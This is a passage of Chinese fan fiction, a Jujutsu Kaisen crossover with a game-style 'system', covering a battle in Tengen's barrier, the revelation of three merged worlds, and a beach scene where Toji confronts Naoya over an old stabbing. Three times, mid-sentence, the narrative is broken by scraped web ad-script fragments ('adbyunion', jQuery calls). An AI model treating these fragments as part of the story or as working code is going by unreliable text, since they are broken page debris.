在爆炸产生的巨量能量作用下,三人向更远处踉跄些许,虽然暂时毫发无损但灰头土脸是免不了的。 不过怎么都比被爆炸波及到强—— 不远处便是爆炸边界,不敢想象如果禅院直哉直接弃她俩而去会怎样——总之这绝对是家入硝子对某个少爷最改观的一集。 人品烂但是跑的确实很快啊! 家入硝子正心中感激,等待几秒后却意识到某人站着不动了。 等下。 这种情况为什么不走啊! 身为奶妈对自己战斗力格外有自知之明的家入硝子忍不住开始催促禅院直哉赶紧跑路回高专搬救兵。 而且对方没有杀意,那就更该跑了,做人要有眼色一点—— “禅院君,快走快走——”家入硝子瞥了眼黑井美里苍白脸色,小声催促道:“悟可以处理的,我们先回高专搬救兵!” 只可惜禅院直哉还是没动,急得家入硝子轻轻拽拽他的袖子,再次催促道:“呐,禅院君,快走了!” 实在不行松手让她自己跑哇,感觉黑井小姐要撑不住了还是赶紧撤离吧,小命要紧。 家入硝子抬头发现禅院直哉仿若未闻,黑发青年死死盯着两个人战斗的方向,脸颊上飘着薄红,视线也紧紧的跟随着—— 这么崇拜悟吗? 可是打架有这么好看吗?战斗狂的世界她真的看不懂。 已老实,求放过。 这样想着家入硝子顺着禅院直哉的视线看向天空,试图理解这位大少爷在想什么。 ……不对,等一下。 这家伙真的是在关心五条吗,怎么感觉看的根本不是五条,而是—— 你在看谁啊!!! 13. 枢纽。 禅院慎一很久没有这样活动筋骨了。 当年从禅院家离开后,青年时期的他几经辗转,并没有选择靠天赋加入咒术界或异能界,而是选择融入普通人的社会。 虽然这样的生活也相当精彩,但所遇到的危险最多也不过火拼,能和五条悟这样的顶尖天才交锋的机会并不多。 看见远处三人急速前往高专,禅院慎一余光收回,再次拦住了五条悟想要支援夏油杰的动作,也成功将其彻底激怒。 “那我就把你先解决掉——”六眼神子在盛怒下火力全开,结印手指快到留下残影,澎湃咒力精准攻击向禅院慎一。 禅院慎一极限躲过这波攻击,七分防三分攻的战斗风格让五条悟极为头疼,黑发男人心算了下时间和腰间包里的储备。 其实现在应该也差不多了……毕竟以甚尔的水平和狡诈程度,那边的战斗应该已经接近尾声。 看什么时候会爆发出大量咒灵吧,毕竟咒灵操术的所有者死亡时体内所有咒灵都会立刻四散开来恢复无主状态。 不过以自家表哥的性格,大概率只会打晕吧……毕竟确实挺麻烦的,既然能晋升到特级,手里大概有三只以上的特级诅咒吧。 【滴滴!】 【滴滴!】 嗯?系统响了?大概跟预料一样,无论是和五条悟交手达到一定时长,还是破坏星浆体融合应该都会达成成就…… 【滴滴!成功进入世界枢纽之一范围内,检测到您的世界影响力已达到30%,影响力地图现已解锁!】 【为您确认最近影响力地点:东京咒术高专,天元结界。影响力地图已点亮两处,世界影响力达到31%,请查收!】 【温馨提示:世界枢纽毁灭会直接影响世界进程,请谨慎把握。】 禅院慎一:? 虽然陷入迷思,但并没有影响禅院慎一的反应速度,他再次躲过五条悟的攻击并急速反击使白发青年痛呼一声。 所以说,系统的意思是星浆体杀不得,因为会影响所谓的世界枢纽。但没记错的话星浆体不止一个啊? 若不是能够确认这个情报,禅院慎一也不会同意跟着自家表哥胡闹,更不会接下这个任务。 禅院慎一挥刀欲砍,下一瞬,他和五条悟脚下却突然出现大块黑洞,一切都发生的太快,在反应过来前两人已被吸入其中。 在坠入黑洞的瞬间,脑内系统继续播报着:【滴滴!】 【您已成功改变世界进程——】 【恭喜您!触发新成就:【2v2公平竞技】!世界影响度达到32%!】 【准备迎接接下来的顶尖战斗吧,载入史册的一战即将打响,祝您武运昌隆!!】 禅院慎一:哈? ———— 禅院直哉在家入硝子的不断催促下,恋恋不舍的收回目光选择先办正事,发动术式带着两人直接冲进咒术高专。 很明显不远处的战斗波动也惊动了高专内部的防御,驻扎在此的咒术师们也行动起来,称得上分工有序。 家入硝子找到自家班主任夜蛾正道,立刻说出目前已知的所有情报,正上气不接下气时,突然听见身边众人的惊呼。 棕发少女连忙抬头看去,却看见头上的天空已经完全被帐所包裹,恐怖的咒术威压从脚下传出,彰显着始作俑者的身份。 天元大人?!为什么要布下帐…… ……哇啊啊啊?! 家入硝子根本来不及思考,下一秒便感受到失重感,站在她身边的禅院直哉和黑井美里也没逃出黑洞的范围。 三人并没有下坠太久便跌到平地,比起轻松找回平衡的禅院直哉,两位女士要狼狈的多,好在并没有太痛。 ……因为她们的身下有肉垫。 三位肉垫被压的那一瞬间发出小声痛呼,把她们惊了一跳,两人赶紧爬起来定睛一看,却发现竟是两位二年级和天内理子。 黑井美里一时间喜极而泣,冲上去把天内理子紧紧抱住,家入硝子抬起头,只看见层层和式建筑在头顶连绵起伏。 巨大空间内打斗声音在空中回荡,肉眼勉强捕捉到正在打斗的身影,努力在脑中对号入座后家入硝子百思不得其解。 “两位袭击者正在和学长们战斗,这里就是天元大人所在的结界内部,我们应该是被天元大人送进来的。” 七海健人低声向家入硝子解释情况,他揉了揉刚才遭受重击的腹部:“夏油学长右臂骨折了,袭击者实力非常强劲。” “夏油学长第一时间就带着天内小姐坐上虹龙以规避对方的攻击,但那家伙从身上缠着的诅咒嘴里掏出了把弓箭。” “我和灰原帮不上什么忙,只好先向五条学长的方向求援,但虹龙居然被对方的弓箭击穿,夏油学长也被射中右臂。” “好在袭击者得逞之前,我们都被黑洞送到了结界内部。”灰原雄接话,他的伤势要更重些,右腿衣物已被血液浸湿。 “只有我们几个啊,但结界已经被内部关闭了吧,不然增援早就到了。”家入硝子有些艰难的说出推测。 也就是说,现在所有人都被困在高专地下结界内—— “目前看是的。”禅院直哉点头,他仍在看着天空中战斗的几人:“现在只能等他们打完了。” 几人并没有时间继续自怨自艾下去,深吸一口气后默契的将天内理子围在中央,家入硝子发动反转术式为几位同伴治疗。 地上几人彻底进入休整阶段,而他们头顶上的四人仍深陷苦战。 得到接应的夏油杰精神一振,跟五条悟配合默契十足,另一边的兄弟二人的配合更是天衣无缝,手段频出。 一时间四人打的昏天地暗,此时对他们来说任务目标已经不重要了,在这种顶尖战斗中所积累的经验已经足够让他们受益终生—— 于是,他们就打了足足三个小时。 第一个小时,地上几人精神紧绷。 第二个小时,地上几人心如擂鼓。 第三个小时,地上几人无言以对。 在灰原雄的肚子发出叫声时,几人实在绷不住严肃的气氛,坐到地上背靠背开始唉声叹气,甚至有些犯困。 不是他们不严肃,而是这能打三个小时的?某种意义上来说,这四个家伙真的对彼此有杀意吗? “现在已经到晚上了,不是说今天同化吗?”身为当事人的天内理子还挂念着同化的事情,看了眼时间后黑发少女崩溃捂脸。 “再等等吧,感觉过一会儿就打完了。”家入硝子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍她的肩膀安慰:“现在也才晚上六点钟而已,还有六个小时呢,不会耽搁的。” “天元大人到底是怎么想的。”七海健人揉揉太阳穴,金发青年眉头紧皱:“既然能将人传送进来,那为什么要带上袭击者?” 禅院直哉坐在最角落,坐姿依旧称得上端正,也是唯一一个全程认真在看战斗过程的人,他突然道:“结束了。” 作为一群人唯一站在禅院兄弟那边,希望他们赢得胜利的少数派,禅院直哉嘴角上扬,根本没有办法压抑住得意的心情。 不愧是被他看好的顶尖强者—— “甚尔和慎一赢了。” 禅院直哉话音刚落,四人的战斗便进入尾声,正如他所言,在这场持久战中赢得胜利的正是两位袭击者。 在禅院甚尔手中的短刀狠狠刺入五条悟脖颈的瞬间,禅院慎一也将夏油杰一脚踢进墙内,黑发青年垂下头陷入了昏迷,操控着的诅咒也溃散开来。 五条悟和夏油杰一时间都失去意识,直直向下坠落,地上几人面色一变赶紧去接,好在成功的接到了—— 看清两人的惨状后家入硝子手抖的不成样子,她赶紧发动反转术式,正要为两人疗伤,一只手却制住了她。 是五条悟。 喉咙被捅穿的白发青年睁开双眼,淡蓝色的双眼流转着璀璨光辉,五条悟坐起身直接拔出喉咙上的短刃,他咳出血沫露出疯癫的笑容。 “我理解了……”五条悟调动着体内的咒术按照从未设想过的方向运转着,喉颈处的细胞急速组建愈合着致命伤口。 “我会反转术式,死不了的,你先给杰治疗吧。”白发青年抹了一把嘴角,看清手掌上的血迹后露出嫌弃表情。 家入硝子闻言点头,专心发动反转术式治疗尚且在昏迷的夏油杰,其余几人这才惊醒,抬起头却找不到两位袭击者的身影。 “他们在天元那里。” 五条悟出声解答了众人的疑惑。 “他们被天元邀请到结界的最内部了,现在应该在谈些什么吧。”白发青年拿起那把撕裂自己脖颈的短刃,缓缓说道。 没有再管身边人的反应,五条悟握着刀,细细端详一番后,白发青年伸手,用袖子抹掉了刀上的血迹。 血迹被轻松抹去,露出如镜面般光洁的银白色刀面,可奇怪的是,刀面上映射的并不是头顶上遮天蔽日的和式走廊,而是—— 挂在深蓝天空中的三轮月亮。 白发青年手腕微动想要换个角度看的更清,刀面上的夜空却突然消失不见。 仿佛刚才的惊鸿一瞥只是幻觉,此时的这把利器如同普通刀具般,雾蒙蒙的映着结界内的景色,连亮度都暗淡几分。 以五条悟的阅历眼力,在努力回忆后,他成功认出了手中这把刀——正是特级咒具天逆鉾。 天逆鉾之所以被评级为特级,不仅仅是因为其吹毛断发级别的锋利,还有那强横到极致的特性—— 它能破除所有正在运行中的术式。 某种意义上来说,只要运用得当,这把刀能够斩断世间一切虚妄,那么能从刀面上窥见些许真实,也是必然。 “原来是这么一回事。” 五条悟喃喃自语。 原来如此。 14. 合理。 刚打完持久战的兄弟二人眼前一晃,下一秒便发现自己已经不在原地,而是站在在某间和室内。 和室内布置简朴但不失大气,两人对视一眼,并没有轻举妄动,正当此时,分不清男女的飘渺声音响起。 “欢迎来到我的里结界。” 和室墙壁上出现一扇门,门开后头戴面纱身着和服的人形生物走了出来,祂招了招手,背后墙壁便又严丝合缝。 之所以不直接称之为人,是因为在场的两位都很清楚祂的身份。 毕竟能这般转移众人的,也只有以意识镇守着全日本结界的天元。 “不怕我们两个直接动手吗。”禅院甚尔打量完四周后收回视线,能看的出来,他尚未从战斗的兴奋中脱离,一时间蠢蠢欲动。 虽然看不清表情,但能够从语气中察觉到笑意,天元摇摇头,语气和善:“至少暂时不会,还有,能把你表弟借我一会吗?” “为什么?”禅院甚尔从不算个好相与的人,他哼笑一声举起手中刀具指向天元,有意挑衅,也算是在试试深浅。 禅院慎一挑眉,没有出声干涉两人的交谈,毕竟刚才天元可插手不少,他等待天元给个理由说辞。 不然难免要直接开战。 “别紧张,我没有恶意。”天元被刀指着也不慌不忙,其正后方和室墙壁突然浮现一扇门,他挥挥手门便敞开。 “就凭我身后是东京咒术高专的武器库,严谨点说,这里其实也是咒术界上层封印收纳各类宝物和咒物的地方。” “所以,你是选择听我们两个聊一会儿呢,还是选择进去看一看。”天元见禅院甚尔眼中燃起浓厚兴趣,话语中笑意渐浓: “若是这样,如何呢?” “还有提醒一下,参观完后最好不要让我太难做,别超过五件,仅限武器。” 禅院慎一能听得出来天元的诚意很足,毕竟以禅院甚尔的眼力,就算只拿五件,也绝对把把特级。 而且说真的,敢放禅院甚尔进入内库,别说五件封顶,大概五十件都不够。 看架势天元也不打算监督搜刮过程,这跟把老鼠放进米仓有什么区别?更别说自家表哥身上还缠着条能够存储的丑宝。 禅院慎一想到这里甚至有些想笑,毕竟放这家伙进去,别说留下大半了,直款搬空也是有可能的。 果不其然,禅院甚尔闻言已敌意全无,他看了眼丑宝后提着刀喜滋滋走进内库,相当爽快的把某人扔在原地。 禅院慎一:…… 行吧。 禅院甚尔的身影消失在门后,门也随之合上,保持了两方空间的隔绝,也保证此次谈话的绝对私密。 这片区域某种意义上来说正是天元的领域,这般随心而动,完全能反映出天元对周遭一切的绝对掌控。 禅院慎一选择先保持沉默等待天元出声,而天元并没有着急说些什么。 祂打了个响指,和室内的场景再次变换,天花板直接消失,露出头顶的夜空,月光洒入室内。 现在正是晚上七点多钟,夏日的白昼仅余些许,和夜空混合后显出盈盈深蓝,但此时的禅院慎一并没有心情去欣赏。 因为,他看见了三个月亮。 三轮明月悬挂在空中,明明是有违常识的场景,却莫名有些和谐,甚至让他觉得真实,直觉告诉他面前一切并非幻影。 以禅院慎一眼力,轻松看清月球上隐约坑洼,也让他得出了结论。 ——这三个月亮不一样。 “既然你有系统,那能够看到这些是正常的。”天元说完后笑着摇头:“不,这样说有些武断,如果是你的话,能看到这些很正常。” 禅院慎一并没有因为天元的话而感到震惊,他立刻意识到,对方绝对知道系统,甚至清楚来源。 他这样想着,也这样问了。 “所以系统到底是什么?” “我不能说。”天元直截了当的回答,察觉到禅院慎一的眼神变化,他补充道:“不过这东西是无害的,至少对你而言完全无害。” “你把它当身体的一部分去使用就行了。” 当身体的一部分?但这又何谈容易,虽然从来都没对系统排异过,可突然出现的未知事物总是让人不安的。 “换个话题吧,你不觉得这个世界有些不对劲吗?”天元问道:“一般来说能力体系是互斥的,但这个世界有两个能力体系。” “咒术和异能并不互通,但又同样存在着,分布地也有所区别,至于最后一位世界之子,你前两天应该已经见过了。” “总之,这个情况总要有人解决,而你就是被选中的那一个。” 禅院慎一从不迟钝,完全称得上思维敏捷,听完这些情报后醍醐灌顶,脑内的各种线索瞬间串联在一起。 咒术,异能,再加上前几天见的那位高中生侦探工藤新一,暂且将其所代表的元素总结为推理。 这三个关键词分别对应了不同的世界,也对应了不同的世界之子。 因为有三个世界。 所以才会有三个月亮。 而融合后,普通人或者说绝大部分人或非人都察觉不到这件事,甚至观念被改变,自然的接受了咒术与异能并存。 但很明显融合并非一件易事,细微之处仍留有漏洞,三个月亮就是证明之一。 黑发男人用肯定句说道: “现在的世界是三个世界融合的。” 至于为什么融合。 那就是另外一个问题了。 天元没有肯定也没有否定,与此同时,禅院慎一的脑内再次向起了熟悉的机械声,向他播报信息的更新: 【滴滴!】 【恭喜您!您已经察觉到部分世界本质,为表述效果之准确,现将所有的【世界影响率】正式更名为【世界合理率】!!】 好吧,这似乎真的很合理。 【恭喜您!世界合理度已经提升至33%,为了世界的和平与美好,为了生活的稳定和幸福,请您再接再厉!】 【检测到您的世界合理度已经达到33%,为了奖励您的不懈奋斗,现解锁奖励……】 脑内的播报还没说完,面前的天元突然插话道:“身为结界核心的我,每逢五百年就要因衰老导致的迭代而同化。” “比起外界吹捧的完美,其实我还差的远,在残缺这点,其实我们很相似,不是吗?” 似乎在等待天元后续的话语,脑内播报反常的停了下来,禅院慎一下意识皱眉。 系统也会出错吗? 还是说礼貌些,等面前人说完话再继续吧,不过天元这么说话目的是什么,总不能只是单纯的套近乎。 禅院慎一还没想出个所以然,天元手中突然出现个木匣,祂走到黑发男人身边,将手中木匣递过去,并示意对方伸出手来。 这是要给东西? 因为没有察觉到恶意,禅院慎一并没有犹豫太久,他伸出手将手心向上,天元顺势将木匣放在黑发男人手心。 在放稳的瞬间,禅院慎一脑内的机械音响起,继续进行正常的播报工作: 【滴滴!现解锁奖励【大天使的呼吸】,扫描到附近有合适载体,现已自动放置在最近的载体中,请查收。】 最接近的载体,等下……? 禅院慎一的反应已经够快了,只可惜天元蓄意已久,祂衣袖轻轻一挥,木盒便消失了,明显不想过多纠缠,直接离得远远的。 禅院慎一甚至能从对方的脚步中看出些许欢快——绝对是欢快——简直像在跑路一样—— “就聊这么多吧,你表兄应该也选的差不多了。”话音刚落,天元便走入身后突然出现的门中:“我不多打扰了。” 根本没有给禅院慎一确认的机会,祂的身形消失在门后,仅留下带着笑意的一句话: “入世愉快。” 此时旁边的武器库大门也打开了,禅院甚尔被给无形力量客气但不容抵抗的送出门,他手上还提着几把武器。 很明显,某人还没拿够。 黑发男人提着武器,有些不爽的啧了一声,继续把手中武器喂给缠在自己身上的诅咒,动作极其熟练。 “谈完了?”禅院甚尔上下打量了一番自家表弟,确定没有什么问题后收回 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视线:“有几把适合你的,还不错,回去拿给你。” 禅院慎一点点头,但脑子还在想刚刚瞬息之间发生的事情——那老东西好像蓄意哄了个很贵重的东西…… 无论是言语暗示还是故意明抢,各种迹象都表明,这家伙绝对是有备而来,可恶,还是放松警惕了,这老东西跑这么快。 【大天使的呼吸】? 一听就是修复类的奖励。 这样想着,禅院慎一喊出系统面板,心神微动,【大天使的呼吸】的介绍面板便浮在眼前。 【【大天使的呼吸】:来自其他世界的奇妙物品,传说中是大天使赠与垂怜之人的美好祝福,可以复活并修复所有伤口一次。】 一目十行的看完后禅院慎一立刻把禅院甚尔手里的那把刀拿过来,直接劈向和室墙壁,动作快到留下残影。 残疾人的东西都骗啊?! 在他进行更过激的动作前,身边环境开始扭曲波动,下一秒,两人便被送出了里结界,在消失前站着的和式走廊上现身。 “怎么?那老东西做什么了?”禅院甚尔还是第一次看到自家表弟情绪这么激动,他出声问道:“要不要现在把祂拖出来宰了?” “……现在应该已经找不到了,没事。”猜都不用猜,那老东西肯定立刻就把【大天使的呼吸】用了—— 两人正处于最靠近结界中心的地方,现在已经能够感受到结界越发稳定,远超之前的水平,力量波动相当凝实。 如今的天元应该无需星浆体,日后也不用同化仪式,现在的天元结界称得上无懈可击,甚至强过全盛时期。 禅院慎一倒也不是纠结的性格,遗憾完也就算了,他抹了把脸:“对了,你刚才在武器库拿了多少把?” “68把,12把特级,45把一级,剩下的都是二级,这内库也不怎么样,好东西就这点。”禅院甚尔轻描淡写的说着战绩。 他语气甚至有点嫌弃,完全不顾假如有高专人员听到这些话后大概率会直接昏过去。 听见禅院甚尔说出的战绩后,禅院慎一心里才好受了些,虽然【大天使的呼吸】只有一份且不可复刻,但换这么多把咒具也算合理。 虽然有强买强卖的意思在了。 五条悟一行人自然也意识到了两人的出现,正戒备着却突然听见结界正中心传来声音: “禅院慎一已经帮助我完同化仪式,日后的我都不需要再进行同化,就由五条家的六眼小子代我转达吧——” 就是说现在化敌为友了? 五条悟眨眨眼睛,相当快速的接受了这个安排,毕竟,他还有挺多想问的东西——这样想着,他直接瞬移到两兄弟面前。 “你俩别走,我请你们吃饭。” 白发青年的衣服上还带着刚才两人捅出来的血,但能看出来对方心中确实已经毫无间隙,相当落落大方的发出邀请。 “不用了。”这是禅院慎一。 “好啊。”这是禅院甚尔。 禅院慎一:? 怎么不走的理由吗? 禅院慎一有些疑惑,毕竟现在不走后续麻烦多多,别的不说,丑宝一肚子高级咒具呢,万一被发现就不好了。 难道……想到这里,禅院慎一看向自家表兄,不出意料的在他脸上看到了某种相当熟悉的表情。 而根据禅院慎一多年的经验,一般这家伙摆出了这种表情,就意味着—— 他捅了一个大篓子。 他又干什么了? “那就是同意是吗,太好了,刚好前段时间买了烧烤用具,因为太忙一直没用,今天晚上一起吃烧烤吧。” 五条悟可不管兄弟二人之间的弯弯绕绕,直接敲定了这件事,拉着两人就跳下走廊,带着人向门口走去。 禅院慎一无奈叹气,只好选择留下。 但留下除了要处理禅院甚尔给他准备的大惊喜外,场地里其实还有一个定时炸弹—— 那个他现在根本不想接触的人。 感受到某处完全不知掩饰,反而越发炽热的视线,禅院慎一认命的闭上眼睛。 一步看一步吧。 15. 伤疤。 “到了。” 夏油杰指挥着虹龙在海滩的僻静处着陆,众人顺势跳下,踩在软绵绵的沙滩上的瞬间,都忍不住发出一声喟叹。 除去景色美丽的原因外,还因为今天的经历实在是太跌宕起伏,紧绷了一整天,现在终于能够放松身心好好休息了。 一行人正是刚从天元结界握手言和的高专众和禅院兄弟,在五条悟心血来潮提议后,众人来到了东京附近的神奈川县。 神奈川县的七里海滩算是离东京最近的海滩之一,此刻已经是夜晚时分,明月高悬繁星满天,海风迎面扑来浇灭了所有暑热。 在五条家的钞能力作用下,这片海滩已经完全清场,该有的设施一样不少,泳衣食材等也早早备下。 很快,一群俊男美女便换好泳衣,踩在延绵沙滩上为涨潮大呼小叫,烧烤架和篝火都架起,和悬挂的电灯一起提供光源。 天内理子作为众人中最接近普通人体质的那个,在沙滩上坐下后就有些起不来了,倦意后知后觉的上涌。 黑发少女有些恍惚的盯着噼啪作响的篝火,耳旁是大家活力满满的嬉闹声,一时间竟有些恍然若失。 不用同化了吗? 日后都没有星浆体了啊。 天内理子有些迟钝的消化着这些消息,赤红火舌跳跃着映入深蓝瞳孔,抱着双腿的她忽然放松下来,长长的舒了口气。 理顺了庞大信息量后,天内理子下意识看向正在认真烤串的黑发男人,对方察觉到她的视线,两人对视一眼后默契收回。 “嘛,理子,回神回神。”家入硝子察觉到天内理子的低落,相当自然的凑过来和黑发少女搭话,将手中的烤串塞给她。 “尝尝这个,很好吃哦,火候的把控超棒——不知道你的口味,就没放辣椒。” 天内理子看着手中香喷喷的烤串,没有太纠结便咬下一口,烤肉丰盈的汁水在口中迸发,她眼睛一亮:“好好吃。” “对吧!”家入硝子点头。 吃下整整一串后天内理子意犹未尽,一旁的黑井美里也将手中烤好的烤串递过来,连吃好几串后,天内理子终于有了种真实感。 不管了,能活着总是好的! 心态转变过来后,吃饭的战斗力也随之上涨,天内理子看着面前堆成一小把的烤串些不好意思,下一秒便转移了注意力。 因为被排球精准命中了—— “喂,把球送过来,理子——” 罪魁祸首完全没有闯祸的自觉,反而得意洋洋的大喊,五条悟挥舞双臂,示意天内理子将球扔过来。 见一旁的家入硝子笑的前仰后合,天内理子抱着球憋气,坐在篝火边的众人也都笑出了声。 家入硝子笑了好一会儿后终于拾回些许良心,将手贴合在天内理子头上,发动反转术式将刚砸出来的包愈合。 “不管他们了,我们去游泳。” 天内理子被拉着走向大海,直到海水的波涛击打着小腿带来凉意,她才回过神,却发现波光粼粼的海面上倒映着三轮满月。 咦……? 天内理子揉揉眼睛,下一秒奇异景象却消失不见,她猛地抬头,天空中仅挂着一轮皎洁明月,被繁星围绕着。 夏天的满月好亮啊。 “游泳圈——大海——” 没有去管后面大呼小叫想要讨回排球的五条悟,家入硝子和天内理子一人一个游泳圈,随着潮汐缓缓在水面上飘动着。 至于排球肯定不会还的,让他们自己再找一个去——天内理子狠狠的晃晃头,将今日乃至以前的所有不快都抛之脑后。 她终于开始享受这场突兀的旅行。 事已至此,先游泳吧! ———— “惠去年觉醒了十种影法术。” 禅院甚尔翻动着手中的烤串,面色如常的说出这一爆炸消息:“当时你太忙了,我就没有跟你说。” 在听清楚话语含义的瞬间,禅院慎一下意识的看向了不远处的黑发青年。 禅院直哉正在和五条悟聊天,几人现在正玩着沙滩排球,玩的热火朝天,离这里有些距离,应该是没有听到这句话的。 在禅院直哉看过来之前,禅院慎一收回视线。 “怎么?”禅院甚尔自然知道禅院慎一到底在看谁,但并不打算点评,而是继续说着自己之前的抉择。 “对了,禅院直毘人已经知道这件事了。”禅院甚尔少见的露出快意的笑容:“惠就是日后的禅院家主了。” “你有问过惠的意见吗?”禅院慎一早就对可能听到的爆炸消息有心理准备,但实际听到后还是有些头疼,他揉了揉太阳穴。 “没有,不过钱已经到账了。”禅院甚尔一起辣椒粉均匀撒在肉串上,将滋滋冒油的肉串递给自家表弟,继续烤下一把。 还要钱了啊,不过不要钱才反常。 禅院慎一没有很意外,随口问道: “多少?” “十亿。” 禅院慎一:…… 所以就这样把儿子卖了十亿? 是该夸他会讲价呢?还是该夸他完全没有责任心呢?怪不得前段时间沟通突然就频繁起来,还催自己赶紧把小孩接过去。 禅院慎一扶额。 禅院慎一其实完全能够理解自家表哥为什么这么做,这某种意义上也算是御三家所有人统一的心结。 天赋限制了多少人的起点和终点,比起平民咒术师,御三家在血脉方面的渴求和疯狂是常人难以想象的。 仔细来说,至少从血统上算作局外人的禅院慎一,并不会去点评禅院甚尔选择的好坏。 他现在只需要去考虑怎么处理烂摊子。 比如说至少别让自家侄子已经烂的不行的童年再雪上加霜—— “所以你打算找五条悟让他作为惠回到咒术界的引路人?”禅院慎一仔细一想便能猜出今天同意一起就餐的原因。 但有意思的是,虽然五条悟和禅院甚尔都有要说的事,但到了休息地点后,两人都闭口不谈,默契的保持了沉默。 不过现在也确实不是谈这些事情的时候,还有天元说的那些信息,至少目前达成共识比实际沟通更有必要。 “那过两天等安顿好之后解决这件事吧。”禅院慎一算了下近期的安排:“刚好之前我也答应过那对小姑娘将她们接走。” “烂到小崽子们都不想呆的地方。”禅院甚尔笑了,咬了口肉串:“话说,你当年到底是怎么想的?” 禅院慎一知道自家表兄在指什么,在海滩上自然要换上合适衣服,正敞开怀穿沙滩衬衫的两人都露出了腰腹的八块腹肌。 战斗多年的两人身上都有些许伤疤,但比起禅院甚尔身上的浅浅伤痕,禅院慎一小腹处的那条疤痕却差不多有六寸长。 仅看一眼,便能想到当时伤口之深,以天予束缚的自愈能力也留下了显眼痕迹。 事实上,在场的所有人在看见禅院慎一腰腹上的狰狞疤痕时,几乎都感到意外,只是出于礼貌没有再多关注罢了。 毕竟此人刚才的战斗力有目共睹。 到底什么样的人才能在他身上留下这样的伤?再配上左臂的残疾和完美的身材,如故事的留白般疑点重重。 实力的强横和残疾的弱势是出现在同一个人身上,黑发男人只是站在那里,就让人浮想联翩。 “过去了就过去了。” 禅院慎一语气平淡,他刚好已经八分饱,便站起身来:“看样子他们还要玩几天,我就先回了。” 没记错的话,明天就是和装修队约好的日子,不管是家里还是咖啡厅,都有不少地方要再修缮一下。 禅院甚尔点点头,表示打算把手里的肉串吃完再动身,毕竟今天的消耗确实很大。 禅院慎一拿着手机翻阅今天收到的邮件和信息,他走向换衣室,换回了自己之前的装束,但在推开门前便察觉到门外的动静。 果然来了。 帘子后面有人。 ———— 此人正是禅院直哉。 自从被袭击到现在双方握手言和,禅院直哉一直默默的关注着禅院慎一,目光从未移开过,心中五味杂陈。 距离上次见面,对方并没有太大的变化,依旧是残疾的样子,但出人意料的是,他还是那么强大。 强大到让人欣喜,强大到让人嫉妒,强大到……让人忍不住靠近。 到达沙滩后,众人都换上了泳装,禅院直哉自然能意识到大家为什么在看禅院慎一,他们都是在看那个疤—— 那个两人关系决裂的证明。 禅院直哉吃完饭后犹豫半天,还是先加入了沙滩排球的行列,但他一直心不在焉的瞥向烤架旁的两人。 为什么会到今天这种地步呢? 为什么不能留在自己身边呢? 从出生以来就接受着自私教育的禅院直哉这样想着,又或者说,时至今日,他仍旧怀揣着痴心妄想。 或许是因为那一天已经过去太久太久了,离现在已经六年,让他产生了错觉,时光几乎冲淡了他手上的触感。 那一夜温热鲜血的触感。 看着禅院慎一和身边人交谈,面色和善的进行社交,就同上次遇见一样,男人的身边总有其他人。 ……总是这样被无视着。 可明明曾经离他最近的人是自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' —— 黑发青年垂下眼睑,并没有刻意掩饰阴郁的心情,被无视的不满在心中酝酿,想要修复关系的想法越发强烈。 总之,需要先服软吧? 在察觉到禅院慎一走向试衣间时,禅院直哉没有犹豫太久,他跟了上去,对方也如他预料般停下了脚步。 终于找到这个机会堵住人,黑发青年有些紧张,嘴唇张合间不知道该说什么。 但他很清楚,此刻留不住对方的话,下一次能对话就不知何年何月了,便下意识握住了禅院慎一仅剩的那只手腕。 他抬起头,鼓起勇气与黑发男人对视,注视着那双褐色的双眸,四周很暗,让禅院直哉看不清对方的表情。 只有那双眸沉静的注视着他。 “……对不起。” 禅院慎一试图抽回手,但禅院直哉握的很紧,现在的他其实不太方便在不伤到对方的前提下脱身:“松手。” “别走。”对面人比禅院直哉高了一头,他便仰起脸,一双狐狸眼专注仰慕的望着黑发男人,俊秀脸颊上悔意与歉意交织: “慎一……我错了。”禅院直哉握得更紧,他靠过去几乎与禅院慎一紧贴,在对方的注视下少见的底气不足起来,话语越发急切: “我当时……我……”禅院直哉有些语无伦次,感受到对方的排斥后他有些慌乱,本能的重复着:“我……” “你当时不是很开心吗?” 一声冷笑响起。 禅院直哉一愣,下一瞬便被直接推开,来者眼神冰冷,一根根掰开禅院直哉紧握着禅院慎一手腕的手指。 “甚尔。”禅院直哉神情委屈起来: “我只是不小心——” “不小心一刀捅进去的感觉很爽吧?从这个位置狠狠向下划,内脏全都切断,血液溅在脸上的感觉怎么样?” “真有脸喊这么亲热啊。” “都是那些家伙怂恿的,不然我才不会去……呃!” “不是你选的吗?”禅院甚尔没有给禅院直哉继续狡辩的机会,一脚将对方踹倒在地,他依旧笑着,眼底却满是嫌恶。 禅院甚尔指着腰腹处,话语中嘲讽意味越发的浓:“慎一不会对你动手,但我可不介意杀了你……” 听见面前人的威胁,禅院直哉脸色更煞白几分,他爬起身来试图辩解:“对不起,但是当时真的是那些家伙挑衅——慎一……” 禅院甚尔见禅院直哉还敢嘴硬,心头怒火再也压制不住,正要再来一脚,却被身后人拉住。 见自家表弟摇摇头,他啧了一声停下动作,但语气怒意更甚:“滚远点。” “走吧。”禅院慎一这个当事人反而要淡定的多,他拍拍禅院甚尔的肩膀,语气平静: “明天还要去接惠呢,没必要在这里浪费时间。” 见禅院慎一态度冷淡,禅院直哉正想继续纠缠,身后却突然响起东西落地的声音,在场三人一愣,都下意识向发声处看去。 对方试图隐藏,但白毛和丸子头格外显眼,一眼便能认出其身份,是五条悟和夏油杰,两人不知何时站在帘子后偷听。 “我们什么都没听到。”正屏息静气沉迷吃瓜的五条悟见气氛不对,他拉开帘子,相当机灵的秒答: “只是路过,真的什么都没听到。” 比起五条悟此地无银三百两不打自招的表现,另外一个人要聪明点,不过也聪明不到哪里去,反而让人更火大。 夏油杰做出恍然表情道:“不好意思啊,我和悟刚散步过来,你们这是怎么了?” 禅院家三人:…… 别演了。 你们的演技真的很烂。 禅院直哉还想再挣扎一番,顾不上有外人在看,他动作极快的冲过来拽住禅院慎一的衣角,急切的说道: “我已经知道错了,你为什么不能继续留在我身边,当时的那些人我已经处置了,对不……” 下一秒,禅院直哉被拽住衣领,耳旁感受到对方温热呼吸,男人语气温和如同谈论天气,却让他瞳孔收缩冷汗沥沥: “闹够了没?” 